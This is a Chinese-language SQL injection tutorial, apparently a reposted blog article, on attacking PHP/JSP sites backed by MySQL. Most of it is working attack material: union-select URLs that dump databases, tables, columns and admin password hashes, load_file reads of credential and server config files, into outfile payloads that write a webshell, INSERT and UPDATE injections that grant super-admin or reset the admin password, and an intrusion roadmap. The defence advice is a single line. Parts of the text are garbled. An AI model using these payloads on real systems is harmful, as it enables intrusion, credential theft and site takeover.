MySQL注射***與防範詳解

PHP+MySQL JSP+MySQL 

一.基礎知識 
1.MYSQL的版本 
4.0如下,4.0以上,5.0以上。 
4.0如下不支持union查詢 
4.0以上magic_quotes_gpc默認爲on 
5.0以上能夠暴表暴列,支持跨庫 
2.magic_quotes_gpc=on 
當php.ini裏的 magic_quotes_gpc 爲On 時。提交的變量中全部的 ' (單引號), " (雙引號), \(反斜線) and 空字符會自動轉爲含有反斜線的轉義字符。例如'會變成\'。給注入帶來很多的阻礙。 
3.註釋符 
Mysql有3種註釋句法 
# 注射掉註釋符後面的本行內容 
-- 注射效果同# 
/* ... */  註釋掉符號中間的部分 
對於#號將是咱們最經常使用的註釋方法。 
-- 號記得後面還得有一個空格才能起註釋做用。 

/*...*/  咱們通常只用前面的/*就夠了。 
注意:在瀏覽器地址欄輸入#時應把它寫成%23,這樣經urlencode轉換後才能成爲#,從而起到註釋的做用。 
注射中經常使用/**/代替空格。 

4.一些函數與MSSQL中的不一樣 
ascii() 
length() 
5.導出文件(into outfile) 
使用  into outfile 把代碼寫到web目錄取得WEBSHELL   
首先須要 3大先天條件 
①知道物理路徑(into outfile '物理路徑') 這樣才能寫對目錄 
②可以使用union (也就是說須要MYSQL4以上的版本) 
③對方沒有對'進行過濾(由於outfile 後面的 '' 不能夠用其餘函數代替轉換) 
後天條件就要2個 
①就是MYSQL 用戶擁有file_priv權限(否則就不能寫文件 或者把文件內容讀出) 
②對web目錄有寫權限MS 的系統就不說了通常都會有權限的~可是*nix 的系統嘛!一般都是rwxr-xr-x 也就是說組跟其餘用戶都沒有權限寫操做 
6.讀取文件(load_file()) 
serv-U默認安裝路徑的servudaemon.ini。注意能夠變化D盤,E盤…… 
讀取數據庫配置文件 
IIS站點配置信息,c:\windows\system32\inetsrv\metabase.xml 
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 
/usr/local/apache2/conf/httpd.conf 
/usr/local/app/php5/lib/php.ini //PHP相關設置 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置 
/etc/my.cnf //mysql的配置文件 
/etc/redhat-release //系統版本 
C:\mysql\data\mysql\user.MYD //us存儲了mysql.er表中的數據庫鏈接密碼 
/etc/sysconfig/iptables //從中獲得防火牆規則策略 

7.絕對路徑 
1.加特殊符號,訪問不存在的連接 
2.讀取服務器配置文件 
3.直接訪問 
phpmyadmin/libraries/select_lang.lib.php 
phpmyadmin/darkblue_orange/layout.inc.php 
phpmyadmin/index.php?lang[]=1 
8.網站OS版本 
變換大小寫。 
9.PHPMyadmin路徑 
在測試uninx系統中phpmyadmin路徑時候能夠在upload/2011/5/201105170148018831.jpg 
2004091201.jpg中的內容爲 一句話 
好,咱們開始upload/2011/5/201105170148026134.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php' 
由於適用了outfile,因此網頁顯示不正常,可是咱們的任務是完成了。 
load_file讀寫文件的技巧 
不知道你有沒有發現過在咱們用load_file()讀寫php文件時不能在網頁中顯示。例如: 
'C:/apache/htdocs/site/lib/sql.inc.php'轉化爲16進製爲:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870 
咱們構造以下 
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 
發如今文章內容的地方原本該顯示sql.inc.php的,但是卻空空之,爲什麼呢? 內容在源代碼裏面。 
substring() left() right() mid() 

into outfile'' 不能繞過 
mysql 5.0如下的跨庫查詢 
變相的跨庫查詢,方法就是經過load_file來直接讀出mysql中data文件夾下的文件內容,從而實現變態跨庫查詢。 
舉個例子啦 
在這以前咱們先講一下mysql的data文件夾下的結構 
Data文件夾下有按數據庫名生成的文件夾,文件夾下按照表名生成三個後綴爲frm,myd,myi的三個文件,例如 
Mysql中有alpha數據庫,在alpha庫中有alphaauthor和alphadb兩個表, 
Alpha文件夾下就有alphadb.frm,alphadb.myd,alphadb.myi,alphaauthor.frm,alphaauthor.myd,alphaauthor.myi 
其中alphadb.frm放着lphadb表中的數據,alphadb.myd放着表的結構,alphadb.myi中放的內容隨mysql的版本不一樣會有所不一樣,具體能夠本身用記事本打開來判斷。 
實驗開始 
假設咱們知道有另外的一個數據庫yminfo210存在,且存在表user,user中放着admin的信息。 
咱們 
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfuo210/ser.myd'),4,5,6,7,8,9,10,11 
說明一下,load_file默認所在的目錄是mysql下的data目錄,因此咱們用 
load_file('yminfo210/user.myd'),固然load_file('.info210/user.myd')也是同樣的,注意的是into outfile的默認路徑是在所在的數據庫文件夾下。 
咱們看讀出來的內容 
舼鮂F鮂F?   admin 698d51a19d8a121ce581499d7b701668 sdf@sd.com sdfasdfsdfa asdfadfasd   ?E麷AM麷A 127.0.0.1 222  222222223423 
雖然亂碼一堆,可是咱們仍是能夠看出用戶名是admin,密碼是698d51a19d8a121ce581499d7b701668,後面其它的是另外的信息。 
經過這種方法咱們就實現了曲線跨庫。 
3.其餘一些注射語句(insert注射和update注射) 
INSERT 
  若是你們認爲MYSQL中注入僅僅適用於SELECT就大錯特錯了,其實還有兩個危害更大的操做,那就是INSERT和UPDATE語句,這類例子很少,先面先說說INSERT,這主要應用於改寫插入的數據,咱們來看個簡單而又普遍存在的例子,看看下面的數據結構: 
CREATE TABLE 'user' ( 
'userid' INT NOT NULL AUTO_INCREMENT , 
'username' VARCHAR( 20 ) NOT NULL , 
'password' VARCHAR( 50 ) NOT NULL , 
'homepage' VARCHAR( 255 ) NOT NULL , 
'userlevel' INT DEFAULT '1' NOT NULL , 
PRIMARY KEY ( 'userid' ) 
); 

  其中的userlevel表明用戶的等級,1是普通用戶,2是普通管理員,3是超級管理員,一個註冊程序默認是註冊成普通用戶,以下: 
INSERT INTO 'user' (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 

  默認userlevel字段是插入1,其中的變量都是沒有通過過濾就直接寫入數據庫的,不知道你們有什麼想法?對,就是直接注入,使咱們一註冊就是超級管理員。咱們註冊的時候,構造$homepage變量,就能夠達到改寫的目的,指定$homepage變量爲: 
http://4ngel.net', '3’)# 

  插入數據庫的時候就變成: 
INSERT INTO 'user' (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1'); 

  這樣就註冊成爲超級管理員了。但這種利用方法也有必定的侷限性,好比,我沒有須要改寫的變量如userlevel字段是數據庫的第一個字段,前面沒有地方給咱們注入,咱們也沒有辦法了。 
或許INSERT還有更普遍的應用,你們能夠自行研究,但原理都是同樣的。 
UPDATE 
  和INSERT相比,UPDATE的應用更加普遍,若是過濾不夠,足以改寫任何數據,仍是拿剛纔的註冊程序來講,數據結構也不變,咱們看一下用戶本身修改本身的資料,SQL語句通常都是這樣寫的: 
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' 

  用戶能夠修改本身的密碼和主頁,你們有什麼想法?總不至於仍是提高權限吧?程序中的SQL語句又沒有更新userlevel字段,怎麼提高啊?仍是老辦法,構造$homepage變量, 指定$homepage變量爲: 
http://4ngel.net', userlevel='3 

  整個SQL語句就變成這樣: 
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id' 

  咱們是否是又變成超級管理員了?程序不更新userlevel字段,咱們本身來。 
還有更加絕的,直接修改任意用戶的資料,仍是剛纔的例句,但此次安全一點,使用MD5加密: 
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id' 

  儘管密碼被加密了,但咱們仍是能夠構造咱們須要的語句,咱們指定$password爲: 
mypass)' WHERE username='admin'# 

  這時整個語句變爲: 
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' 

  這樣就更改了更新的條件,我管你後面的代碼是否是在哭這說:咱們尚未執行啊。固然,也能夠從$id下手,指定$id爲: 
' OR username='admin' 

  這時整個語句變爲: 
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' 

4.MySQL5.0以上的新特性 
系統表的結構 
SCHEMATA         ――>存儲數據庫名的, 
|——>關鍵字段:SCHEMA_NAME,表示數據庫名稱 
                       
| TABLES              ――>存儲表名的   
|——>關鍵字段:TABLE_SCHEMA表示表所屬的數據庫名稱; 
TABLE_NAME表示表的名稱 

| COLUMNS   ――>存儲字段名的 
|——>關鍵字段:TABLE_SCHEMA表示表所屬的數據庫名稱; 
TABLE_NAME表示所屬的表的名稱 
             COLUMN_NAME表示字段名 

爆管理員帳號密碼找到後臺登錄。 

前面爆管理員帳號密碼前有可能猜表都猜不到。這裏教你們暴庫,爆表,爆字段。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,schema_name,6,7,8 from information_schema.SCHEMATA limit 0,1/* 
這樣會爆出一個數據庫。前面咱們垂手可得的能夠獲得一個當前鏈接的數據庫。 
咱們要爆出的數據庫裏要存放管理員的用戶和密碼。 
這裏limit 0,1/*的意思是爆出第一個庫的名字,若是要查看第二個數據庫名就增長limit後面的值,好比把0增長爲1就又爆出一個庫名。逐次加1就分別暴出了網站的其餘數據庫名。 
已經知道網站數據庫名是study,繼續爆表。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=0x7374756479 limit 0,1/* 
這裏0x7374756479就是study的16進制形式。成功爆出一個表名。咱們在增長limit後面的數字來逐一爆出數據庫中的其餘表名。 
爆字段 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=0x61646D696E limit 0,1/* 
成功爆出admin表中的一個字段。0x61646D696E爲admin的16進制。 

有時候咱們用union聯合查詢前猜到的字段長度多是1,這樣對咱們就有所限制了。咱們能夠藉助concat函數來一次性爆出咱們所但願獲得的東西。具體用法是concat(咱們想要爆的,0x3A,咱們想要爆的,0x3A,咱們想要爆的……) 
http://127.0.0.1/ad.php?id=1 and 1=2 union select concat(user(),0x3A,database(),0x3A,version()) 
0x3A是;的16進制形式。 

PHP跨庫查詢。當前庫realmd,要跨到BBS的庫爲discuz,默認中discuz數據庫中存放用戶信息的表是cdb_members ,兩個字段爲username,password 
http://127.0.0.1/ad.php?id=1 and 1=1 union select 1,2,3,4,5,6,7,8 from discuz.cdb_members返回正常,說明跨庫查詢成功。而且數據庫和表都是存在的。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,username,3,password,5,6,7,8 from discuz.cdb.members where uid=1 
延伸——跨庫後一樣能夠爆表爆字段。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=discuz limit 0,1/* 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=discuz.cdb_members limit 0,1/* 
schema_name  information_schema.SCHEMATA 
table_name  information_schema.table  TABLE_SCHEMA 
COLUMN_NAME  information_schema.COLUMN_NAME  TABLE_NAME 
三.***思路 

若是magic_quotes_gpc=off 嘗試into outfile直接獲得一個shell 
判斷數據庫版本,能夠嘗試各個版本的溢出漏洞 
若是能load_file,能夠load_file出數據庫的帳戶密碼 
鏈接或者是找到phpmyadmin後登錄 
登錄後建立一個表,導出一個shell或者into outfile 一個shell 
也能夠load_file serv-U的相關信息,利用FTP登錄 
猜想管理員帳戶密碼找到後臺登錄得到shell 
本庫不行,能夠跨庫。 

四.漏洞防護 
變量的過濾 
開啓magic_quotes_gpc而且int型變量作一個判斷。

相關文章
相關標籤/搜索